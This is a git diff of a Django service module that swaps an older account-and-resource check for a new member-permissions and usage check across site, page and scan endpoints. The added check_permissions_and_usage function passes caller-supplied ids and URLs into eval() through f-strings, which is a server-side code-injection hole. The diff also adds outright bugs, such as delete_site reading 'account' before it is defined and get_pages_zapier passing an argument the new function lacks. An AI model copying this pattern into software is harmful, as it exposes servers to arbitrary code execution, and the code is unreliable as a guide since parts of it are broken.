-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if site_id:
-                if not Site.objects.filter(id=site_id, account=account).exists():
-                    allowed = False
-                    error = 'site not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-        
-        # checking issues
-        if resource == 'issue':
-            if issue_id:
-                if not Issue.objects.filter(id=issue_id, account=account).exists():
-                    allowed = False
-                    error = 'issue not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if site_id:
-                if not Site.objects.filter(id=site_id, account=account).exists():
-                    allowed = False
-                    error = 'site not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if page_id:
-                if not Page.objects.filter(id=page_id, account=account).exists():
-                    allowed = False
-                    error = 'page not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-        
-        # checking scans
-        if resource == 'scan':
-            if not scan_id and action == 'add':
-                if not check_resource(account, 'scans'):
-                    allowed = False
-                    error = 'max scans reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
-            if scan_id:
-                if not Scan.objects.filter(id=scan_id, page__account=account).exists():
-                    allowed = False
-                    error = 'scan not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-        
-        # checking tests
-        if resource == 'test':
-            if not test_id and action == 'add':
-                if not check_resource(account, 'tests'):
-                    allowed = False
-                    error = 'max tests reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
-            if test_id:
-                if not Test.objects.filter(id=test_id, page__account=account).exists():
-                    allowed = False
-                    error = 'test not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-
-        # checking process
-        if resource == 'process':
-            if process_id:
-                if not Process.objects.filter(id=process_id, account=account).exists():
-                    allowed = False
-                    error = 'process not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-        
-        # checking reports
-        if resource == 'report':
-            if report_id:
-                if not Report.objects.filter(id=report_id, account=account).exists():
-                    allowed = False
-                    error = 'report not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            if page_id:
-                if not Page.objects.filter(id=page_id, account=account).exists():
-                    allowed = False
-                    error = 'page not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-        
-        # checking logs
-        if resource == 'log':
-            if log_id:
-                if not Log.objects.filter(id=log_id, account=account).exists():
-                    allowed = False
-                    error = 'log not found'
-                    _status = status.HTTP_404_NOT_FOUND
-                    code = '404'
-            
-    # returning data
-    data = {
-        'allowed': allowed,
-        'error': error, 
-        'status': _status,
-        'code': code
-    }
-    return data
-
-
-
 
-def check_resource(account: object, resource: str) -> bool:
+def decrement_resource(account: object, resource: str) -> None:
     """ 
-    Validates if account can add a new {resource} 
+    Removes '1' from the resource total 
 
     Expcets: {
         'account'  : <object>,
-        'resource' : <str> 'scan', 'test', or 'testcase
+        'resource' : <str> 'site', 'page', 'schedule'
     }
 
-    Returns: Bool, True if resource can be added.
+    Returns: Non
     """
 
-    # define defaults
-    success = False
-
-    # check allowance
-    if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
-        # update success
-        success = True
+    # remove 1 from account.usage[{resource}]
+    account.usage[f'{resource}'] -= 1
+    account.save()
 
-    # return response
-    return success
+    # return None
+    return None
 
 
 
@@ -456,7 +115,8 @@ def check_location(request: None, local: None) -> dict:
 
         # get user and account
         user = request.user
-        account = Member.objects.get(user=user).account
+        member = Member.objects.get(user=user)
+        account = member.account
 
         # get configs obj & location
         configs = request.data.get('configs', account.configs)
@@ -500,13 +160,226 @@ def check_location(request: None, local: None) -> dict:
 
 
 
+
+def check_permissions_and_usage(
+        member: object=None, 
+        resource: str=None, 
+        action: str='get', 
+        id: str=None, 
+        id_type: str=None,
+        url: str=None
+    ) -> dict:
+    """ 
+    References Member.permissions to determine if 
+    give action is allowed on given resource.
+
+    Expects: {
+        'member'    : obj, (REQUIRED)
+        'resource'  : str, (REQUIRED)
+        'action'    : str, (OPTIONAL, 'get')
+        'id'        : str, (OPTIONAL)
+        'id_type'   : str, (OPTIONAL)
+        'url'       : str, (OPTIONAL)
+    }
     
+    Returns: {
+        'allowed'   : bool,
+        'error'     : str,
+        'code':     : str, 
+        'status':   : object
+    }
+    """
+
+    # get account from member
+    account = member.account
+
+    # set default 
+    allowed = True
+    error = 'not allowed'
+    code = '403'
+    _status = status.HTTP_403_FORBIDDEN
+
+    # ignore site assoc checks on these resorces
+    ignore_list = ['alert', 'schedule', 'log', 'process', 'flow', 'secret']
+    
+    # check usage on these resources
+    usage_list = ['site', 'schedule', 'caserun', 'flowrun', 'scan', 'test']
+
+    # helper method to search permissions.sites
+    def site_in_sites(id) -> bool:
+        if len(member.permissions.get('sites', [])) == 0:
+            return True
+        for site in member.permissions.get('sites'):
+            if id == site['id']:
+                return True
+        return False
+
+
+    # check action with permissions
+    if action not in member.permissions.get('actions'):
+        return {
+            'allowed': False,
+            'error': error,
+            'code': code,
+            'status': _status
+        }
+
+
+    # check resource with permissions
+    if resource not in member.permissions.get('resources'):
+        return {
+            'allowed': False,
+            'error': error,
+            'code': code,
+            'status': _status
+        }
+
+
+    # check id 
+    if id and id_type:
+
+        # create obj_str
+        obj_str = id_type.capitalize()
+        if 'run' in obj_str:
+            obj_str = obj_str.replace('run', 'Run')
+
+        # retrieve obj
+        if id_type not in ['scan', 'test']:
+            objs = eval(f'{obj_str}.objects.filter(id="{id}", account__id="{account.id}")')
+        if id_type in ['scan', 'test']:
+            objs = eval(f'{obj_str}.objects.filter(id="{id}", site__account__id="{account.id}")')
+        
+        # return False if not found
+        if len(objs) == 0:
+            return {
+                'allowed': False,
+                'error': f'{resource} not found',
+                'code': '404',
+                'status': status.HTTP_404_NOT_FOUND
+            }
+
+
+    # check for site association
+    if (id and id_type) and id_type not in ignore_list:
+
+        # special case for `Issue`
+        if id_type == 'issue':
+            affected_type = objs[0].affected.get('type') 
+
+            if affected_type == 'site':
+                # check site in permissions.sites
+                if not site_in_sites(objs[0].affected.get('id')):
+                    return {
+                        'allowed': False,
+                        'error': error,
+                        'code': code,
+                        'status': _status
+                    }
+            
+            if affected_type == 'page':
+                # check page.site in permissions.sites
+                try:
+                    page = Page.objects.get(id=objs[0].affected.get('id'))
+                    if not site_in_sites(str(page.site.id)):
+                        return {
+                            'allowed': False,
+                            'error': error,
+                            'code': code,
+                            'status': _status
+                        }
+                except:
+                    return {
+                        'allowed': False,
+                        'error': f'{resource} not found',
+                        'code': '404',
+                        'status': status.HTTP_404_NOT_FOUND
+                    }
+
+        # check site in permissions.sites
+        elif id_type == 'site':
+            if not site_in_sites(str(objs[0].id)):
+                return {
+                    'allowed': False,
+                    'error': error,
+                    'code': code,
+                    'status': _status
+                }
+
+        # check associated site in permissions.sites
+        else:
+            if not site_in_sites(str(objs[0].site.id)):
+                return {
+                    'allowed': False,
+                    'error': error,
+                    'code': code,
+                    'status': _status
+                }
+
+
+    # handle special cases for site and page
+    if resource == 'site' or resource == 'page':
+        # check existance
+        if url:
+            if eval(f'{resource.capitalize()}.objects.filter(account__id="{account.id}", {resource}_url="{url}").exists()'):
+                return {
+                    'allowed': False,
+                    'error': f'{resource} exists',
+                    'code': '409',
+                    'status': status.HTTP_409_CONFLICT
+                }
+
+        # check usage for page only
+        if resource == 'page' and id_type == 'site' and action == 'add':
+            if account.usage['pages_allowed'] == Page.objects.filter(site__id=id).count():
+                return {
+                    'allowed': False,
+                    'error': f'max pages reached',
+                    'code': '426',
+                    'status': status.HTTP_426_UPGRADE_REQUIRED
+                }
+            
+
+    # check for custom / enterprise plan
+    if (account.type == 'enterprise' or account.type == 'custom') and resource == 'site':
+        
+        # add to sites_allowed only for enterprise and custom plans
+        if action == 'add' and account.usage['sites_allowed'] == Site.objects.filter(account=account).count():
+            account.usage['sites_allowed'] += 1
+            account.usage['schedules_allowed'] += 1
+            account.save()
+            # update price for sub
+            update_sub_price.delay(account.id)
+
+
+    # check usage if action is 'add'
+    if action == 'add' and resource in usage_list:
+
+        # check if usage allows for add
+        if int(account.usage[f'{resource}s']) >= int(account.usage[f'{resource}s_allowed']):
+            return {
+                'allowed': False,
+                'error': f'max {resource}s reached',
+                'code': '426',
+                'status': status.HTTP_426_UPGRADE_REQUIRED
+            }
+        
+    # return True
+    return {
+        'allowed': True,
+        'error': None,
+        'code': '201' if action == 'add' else '200',
+        'status': status.HTTP_201_CREATED if action == 'add' else status.HTTP_200_OK
+    }
+
+
+
+
 ### ------ Begin Site Services ------ ###
 
 
 
 
-def create_site(request: object, delay: bool=False) -> object:
+def create_site(request: object=None) -> object:
     """ 
     Creates a new `Site`, initiates a Crawl, initial `Scans` 
     for each added `Page`, and generates new `Cases`. 
@@ -529,7 +402,8 @@ def create_site(request: object, delay: bool=False) -> object:
     
     # gettting account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     sites = Site.objects.filter(account=account)
 
     # updating configs if None:
@@ -551,9 +425,9 @@ def create_site(request: object, delay: bool=False) -> object:
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
     # check account and resource
-    check_data = check_account_and_resource(
-        request=request, resource='site', action='add',
-        site_url=site_url
+    check_data = check_permissions_and_usage(
+        member=member, resource='site', action='add',
+        url=site_url
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -568,6 +442,10 @@ def create_site(request: object, delay: bool=False) -> object:
         account=account,
         time_crawl_started=datetime.now()
     )
+    
+    # updated accounts usage
+    account.usage['sites'] += 1
+    account.save()
 
     # create process obj
     process = Process.objects.create(
@@ -653,7 +531,8 @@ def crawl_site(request: object=None, id: str=None, account: object=None) -> obje
     # get user and account
     if request:
         user = request.user
-        account = Member.objects.get(user=user).account
+        member = Member.objects.get(user=user)
+        account = member.account
         configs = request.data.get('configs', None)
     
     if not request:
@@ -664,7 +543,10 @@ def crawl_site(request: object=None, id: str=None, account: object=None) -> obje
     configs = account.configs if configs == None else configs
 
     # check account and resource
-    check_data = check_account_and_resource(user=user, site_id=id, resource='site')
+    check_data = check_permissions_and_usage(
+        member=member, resource='site', action='get', 
+        id=id, id_type='site'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         if request:
@@ -693,7 +575,7 @@ def crawl_site(request: object=None, id: str=None, account: object=None) -> obje
 
 
 
-def get_sites(request: object) -> object:
+def get_sites(request: object=None) -> object:
     """ 
     Get one or more `Sites` in paginated response
 
@@ -709,13 +591,16 @@ def get_sites(request: object) -> object:
     user = request.user
 
     # getting account
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check if site_id was passed
     if site_id != None:
 
         # check account and resource
-        check_data = check_account_and_resource(request=request, site_id=site_id, resource='site')
+        check_data = check_permissions_and_usage(
+            member=member, resource='site', action='get', id=site_id, id_type='site'
+        )
         if not check_data['allowed']:
             data = {'reason': check_data['error'],}
             record_api_call(request, data, check_data['code'])
@@ -734,6 +619,11 @@ def get_sites(request: object) -> object:
     # getting all account assoicated sites
     sites = Site.objects.filter(account=account).order_by('-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites', [])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        sites = sites.filter(id__in=id_list).order_by('-time_created')
+
     # serialize response and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(sites, request)
@@ -746,7 +636,7 @@ def get_sites(request: object) -> object:
 
 
 
-def get_site(request: object, id: str) -> object:
+def get_site(request: object=None, id: str=None) -> object:
     """
     Get single `Site` from the passed "id"
 
@@ -760,11 +650,13 @@ def get_site(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        site_id=id, resource='site'
+    check_data = check_permissions_and_usage(
+        member=member, resource='site', action='get', 
+        id=id, id_type='site'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -784,7 +676,7 @@ def get_site(request: object, id: str) -> object:
 
 
 
-def delete_site(request: object=None, id: str=None, account: object=None) -> object:
+def delete_site(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Site` associated with the passed "id" 
 
@@ -799,14 +691,15 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
 
     # get user and account info
     if request:
-        account = Member.objects.get(user=request.user).account
-        user = request.user
-    
-    if not request:
         user = account.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(user=user, site_id=id, resource='site')
+    check_data = check_permissions_and_usage(
+        member=member, resource='site', 
+        action='delete', id=id, id_type='site'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         if request:
@@ -833,10 +726,13 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     # remove site
     site.delete()
 
+    # decrememt resouce in account
+    decrement_resource(account=account, resource='sites')
+
     # update account if enterprise or custom
     if account.type == 'enterprise' or account.type == 'custom':
-        account.max_sites -= 1
-        account.max_schedules -= 1
+        account.usage['sites_allowed'] -= 1
+        account.usage['schedules_allowed'] -= 1
         account.save()
 
         # update billing
@@ -853,7 +749,7 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
 
 
 
-def delete_many_sites(request: object) -> object:
+def delete_many_sites(request: object=None) -> object:
     """ 
     Deletes one or more `Sites` associated
     with the passed "request.ids" 
@@ -870,7 +766,8 @@ def delete_many_sites(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check for ids
     if ids is not None:
@@ -889,35 +786,22 @@ def delete_many_sites(request: object) -> object:
 
             # trying to delete site
             try:
-                site = Site.objects.get(id=id)
-                if site.account == account:
-
-                    # delete site and associated resources
-                    data = delete_site(id=id, account=site.account)
-                    if data.get('reason'):
-                        raise Exception
+                # delete site and associated resources
+                data = delete_site(id=id, user=user)
+                if data.get('reason'):
+                    raise Exception(data['reason'])
 
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
 
-            except:
+            except Exception as e:
                 print(e)
                 # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
-        
-        # update account if enterprise or custom
-        if account.type == 'enterprise' or account.type == 'custom':
-            account.max_sites -= num_succeeded
-            account.max_schedules -= num_succeeded
-            account.save()
-
-            # update billing
-            update_sub_price.delay(account_id=account.id)
-
         # format response
         data = {
             'success': this_status,
@@ -943,7 +827,7 @@ def delete_many_sites(request: object) -> object:
 
 
 
-def get_sites_zapier(request: object) -> object:
+def get_sites_zapier(request: object=None) -> object:
     """ 
     Get all `Sites` associated with user's Account.
 
@@ -955,15 +839,17 @@ def get_sites_zapier(request: object) -> object:
     """
 
     # get request data
-    account = Member.objects.get(user=request.user).account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
     sites = None
     
     # deciding on scope
     resource = 'site'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource,
+    check_data = check_permissions_and_usage(
+        member=member, resource=resource, action='get',
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -975,6 +861,11 @@ def get_sites_zapier(request: object) -> object:
             account=account,
         ).order_by('-time_created')
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites', [])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        sites = sites.filter(id__in=id_list).order_by('-time_created')
+
     # build response data
     data = []
 
@@ -999,7 +890,7 @@ def get_sites_zapier(request: object) -> object:
 
 
 
-def create_page(request: object, delay: bool=False) -> object:
+def create_page(request: object=None) -> object:
     """ 
     Creates one or more pages.
 
@@ -1020,7 +911,8 @@ def create_page(request: object, delay: bool=False) -> object:
 
     # retrieving user, account, & site
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     site = Site.objects.get(id=site_id)
 
     # updating configs if None:
@@ -1028,7 +920,6 @@ def create_page(request: object, delay: bool=False) -> object:
 
     # creating many pages if page_urls was passed
     if page_urls is not None:
-        print('trying to add many pages')
         data = create_many_pages(request=request, http_response=False)
         _status = status.HTTP_201_CREATED
         if data.get('reason') is not None:
@@ -1045,9 +936,9 @@ def create_page(request: object, delay: bool=False) -> object:
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
     # check account and resource
-    check_data = check_account_and_resource(
-        request=request, resource='page', site_id=site_id, page_url=page_url,
-        action='add'
+    check_data = check_permissions_and_usage(
+        member=member, resource='page', action='add', 
+        id=site_id, id_type='site', url=page_url,
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1079,8 +970,7 @@ def create_page(request: object, delay: bool=False) -> object:
 
         # running scan in background
         scan_page_bg.delay(scan_id=scan.id, configs=configs)
-
-            
+      
     # serialize response and return
     serializer_context = {'request': request,}
     serialized = PageSerializer(page, context=serializer_context)
@@ -1113,7 +1003,8 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -1123,8 +1014,9 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     pages = Page.objects.filter(site=site)
 
     # check account and resource
-    check_data = check_account_and_resource(
-        request=request, resource='page', site_id=site_id, action='add'
+    check_data = check_permissions_and_usage(
+        member=member, resource='page', action='add', 
+        id=site_id, id_type='site'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1134,9 +1026,9 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
         return data
 
     # pre check for max_pages
-    if (pages.count() + len(page_urls)) > account.max_pages:
-        print('max pages aparently')
-        data = {'reason': 'maximum number of pages reached',}
+    if (pages.count() + len(page_urls)) > account.usage['pages_allowed']:
+        print('max pages reached')
+        data = {'reason': 'max pages reached',}
         record_api_call(request, data, '402')
         if http_response:
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1224,7 +1116,7 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     
     
 
-def get_pages(request: object) -> object:
+def get_pages(request: object=None) -> object:
     """ 
     Get one or more `Pages` from either 
     "page_id" or "site_id"
@@ -1242,17 +1134,20 @@ def get_pages(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check for params
     if page_id is None and site_id is None:
-        data = {'reason': 'must provide a Site or Page id'}
+        data = {'reason': 'neet site or page id'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
     # check account and resource
-    check_data = check_account_and_resource(
-        request=request, resource='page', site_id=site_id, page_id=page_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='page', action='get', 
+        id=(site_id if site_id else page_id), 
+        id_type=('site' if site_id else 'page')
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1288,7 +1183,7 @@ def get_pages(request: object) -> object:
 
 
 
-def get_page(request: object, id: str) -> object:
+def get_page(request: object=None, id: str=None) -> object:
     """
     Get single `Page` from the passed "id"
 
@@ -1302,11 +1197,13 @@ def get_page(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        page_id=id, resource='page'
+    check_data = check_permissions_and_usage(
+        member=member, resource='page', action='get', 
+        id=id, id_type='page'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1326,7 +1223,7 @@ def get_page(request: object, id: str) -> object:
 
 
 
-def delete_page(request: object=None, id: str=None, account: object=None) -> object:
+def delete_page(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Page` associated with the passed "id" 
 
@@ -1340,14 +1237,15 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     
     # get user and account info
     if request:
-        account = Member.objects.get(user=request.user).account
         user = request.user
-    
-    if not request:
-        user = account.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(user=user, page_id=id, resource='page')
+    check_data = check_permissions_and_usage(
+        member=member, resource='page', 
+        action='delete', id=id, id_type='page'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         print(data)
@@ -1382,7 +1280,7 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
 
 
 
-def delete_many_pages(request: object) -> object:
+def delete_many_pages(request: object=None) -> object:
     """ 
     Deletes one or more `Pages` associated
     with the passed "request.ids" 
@@ -1399,7 +1297,8 @@ def delete_many_pages(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check for ids
     if ids is not None:
@@ -1418,13 +1317,10 @@ def delete_many_pages(request: object) -> object:
 
             # trying to delete page
             try:
-                page = Page.objects.get(id=id)
-                if page.account == account:
-
-                    # delete page and all assocaited resourses
-                    data = delete_page(id=id, account=page.account)
-                    if data.get('reason'):
-                        raise Exception
+                # delete page and all assocaited resourses
+                data = delete_page(id=id, user=user)
+                if data.get('reason'):
+                    raise Exception
 
                 # add to success attempts
                 num_succeeded += 1
@@ -1461,7 +1357,7 @@ def delete_many_pages(request: object) -> object:
 
 
 
-def get_pages_zapier(request: object) -> object:
+def get_pages_zapier(request: object=None) -> object:
     """ 
     Get all `Pages` associated with user's Account.
 
@@ -1473,7 +1369,8 @@ def get_pages_zapier(request: object) -> object:
     """
 
     # get request data
-    account = Member.objects.get(user=request.user).account
+    member = Member.objects.get(user=request.user)
+    account = member.account
     site_id = request.query_params.get('site_id')
     pages = None
     
@@ -1481,8 +1378,9 @@ def get_pages_zapier(request: object) -> object:
     resource = 'page'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource, site_id=site_id
+    check_data = check_permissions_and_usage(
+        user_id=str(request.user.id), resource=resource, action='get',
+        id=site_id, id_type='site'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1501,6 +1399,11 @@ def get_pages_zapier(request: object) -> object:
             account=account,
         ).order_by('-time_created')
 
+        # filter out all non permissioned sites
+        if len(member.permissions.get('sites',[])) != 0:
+            id_list = [item['id'] for item in member.permissions.get('sites')]
+            pages = pages.filter(site__id__in=id_list)
+
     # build response data
     data = []
 
@@ -1527,7 +1430,7 @@ def get_pages_zapier(request: object) -> object:
 
 
 
-def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
+def create_scan(request: object=None, **kwargs) -> object:
     """ 
     Create one or more `Scans` depanding on 
     `Page` or `Site` scope
@@ -1565,7 +1468,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         user = User.objects.get(id=user_id)
     
     # getting account
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -1575,17 +1479,17 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     page_id = '' if page_id is None else page_id
     site_id = site_id if len(str(site_id)) > 0 else None
     page_id = page_id if len(str(page_id)) > 0 else None
+    id = site_id if site_id else page_id
+    id_type = 'site' if site_id else 'page'
 
     # verifying types
     if len(types) == 0:
         types = settings.TYPES
 
-    # deciding on scope
-    resource = 'site' if site_id else 'page'
-
     # check account and resource for site or page
-    check_data = check_account_and_resource(
-        user=user, resource=resource, page_id=page_id, site_id=site_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='scan', action='add', 
+        id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {
@@ -1618,8 +1522,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     for p in pages:
 
         # check for account usage
-        check_data = check_account_and_resource(
-            user=user, action='add', resource='scan'
+        check_data = check_permissions_and_usage(
+            member=member, resource='scan', action='add',
         )
         if not check_data['allowed']:
             data = {
@@ -1650,9 +1554,13 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         created_scans.append(str(created_scan.id))
         message = 'Scans are being created in the background'
 
+        # setting format for timestamp
+        f = '%Y-%m-%d %H:%M:%S.%f'
+        timestamp = datetime.today().strftime(f)
+
         # updating latest_scan info for page
         p.info['latest_scan']['id'] = str(created_scan.id)
-        p.info['latest_scan']['time_created'] = str(timezone.now())
+        p.info['latest_scan']['time_created'] = timestamp
         p.info['latest_scan']['time_completed'] = None
         p.info['latest_scan']['score'] = None
         p.info['latest_scan']['score'] = None
@@ -1660,7 +1568,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
 
         # updating latest_scan info for site
         p.site.info['latest_scan']['id'] = str(created_scan.id)
-        p.site.info['latest_scan']['time_created'] = str(timezone.now())
+        p.site.info['latest_scan']['time_created'] = timestamp
         p.site.info['latest_scan']['time_completed'] = None
         p.site.save()
 
@@ -1688,7 +1596,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
 
 
 
-def create_many_scans(request: object) -> object:
+def create_many_scans(request: object=None) -> object:
     """ 
     Bulk creates `Scans` for each requested `Page`.
     Either scoped for many `Pages` or many `Sites`.
@@ -1712,7 +1620,8 @@ def create_many_scans(request: object) -> object:
     types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -1736,7 +1645,7 @@ def create_many_scans(request: object) -> object:
             }
             try:
                 # create scan
-                res = create_scan(delay=True, **data)
+                res = create_scan(**data)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))
@@ -1744,7 +1653,7 @@ def create_many_scans(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-                    print(res['message'])
+                    print(res['reason'])
             except Exception as e:
                 print(e)
                 if str(id) not in failed:
@@ -1764,7 +1673,7 @@ def create_many_scans(request: object) -> object:
             }
             try:
                 # create scan
-                res = create_scan(delay=True, **data)
+                res = create_scan(**data)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))
@@ -1772,7 +1681,7 @@ def create_many_scans(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-                    print(res['message'])
+                    print(res['reason'])
             except Exception as e:
                 print(e)
                 if str(id) not in failed:
@@ -1794,7 +1703,7 @@ def create_many_scans(request: object) -> object:
 
 
 
-def get_scans(request: object) -> object:
+def get_scans(request: object=None) -> object:
     """ 
     Get one or more `Scans`.
 
@@ -1810,14 +1719,17 @@ def get_scans(request: object) -> object:
     page_id = request.query_params.get('page_id')
     lean = request.query_params.get('lean')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     
     # deciding on scope
-    resource = 'page' if page_id else 'scan'
+    id = page_id if page_id else scan_id
+    id_type = 'page' if page_id else 'scan'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource=resource, page_id=page_id, scan_id=scan_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='scan', 
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1855,7 +1767,7 @@ def get_scans(request: object) -> object:
 
 
 
-def get_scan(request: object, id: str) -> object:
+def get_scan(request: object=None, id: str=None) -> object:
     """
     Get single `Scan` from the passed "id"
 
@@ -1869,11 +1781,13 @@ def get_scan(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-        scan_id=id, resource='scan'
+    check_data = check_permissions_and_usage(
+        member=member, resource='scan', action='get',
+        id=id, id_type='scan'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1893,7 +1807,7 @@ def get_scan(request: object, id: str) -> object:
 
 
 
-def get_scan_lean(request: object, id: str) -> object:
+def get_scan_lean(request: object=None, id: str=None) -> object:
     """ 
     Get a single `Scan` and only return scores & timestamps
 
@@ -1907,11 +1821,13 @@ def get_scan_lean(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=user, resource='scan', scan_id=id
+    check_data = check_permissions_and_usage(
+        member=member, resource='scan', action='get',
+        id=id, id_type='scan'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -1947,14 +1863,15 @@ def get_scan_lean(request: object, id: str) -> object:
 
 
 
-def delete_scan(request: object=None, id: str=None, account: object=None) -> object:
+def delete_scan(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Deletes the `Scan` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
         'id'      : str,
-        'account' : object
+        'account' : object,
+        'user'    : object
     }
 
     Returns -> HTTP Response object
@@ -1962,14 +1879,15 @@ def delete_scan(request: object=None, id: str=None, account: object=None) -> obj
 
     # get user and account info
     if request:
-        account = Member.objects.get(user=request.user).account
         user = request.user
-    
-    if not request:
-        user = account.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(user=user, scan_id=id, resource='scan')
+    check_data = check_permissions_and_usage(
+        member=member, resource='scan', action='delete',
+        id=id, id_type='scan'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         if request:
@@ -2003,7 +1921,7 @@ def delete_scan(request: object=None, id: str=None, account: object=None) -> obj
 
 
 
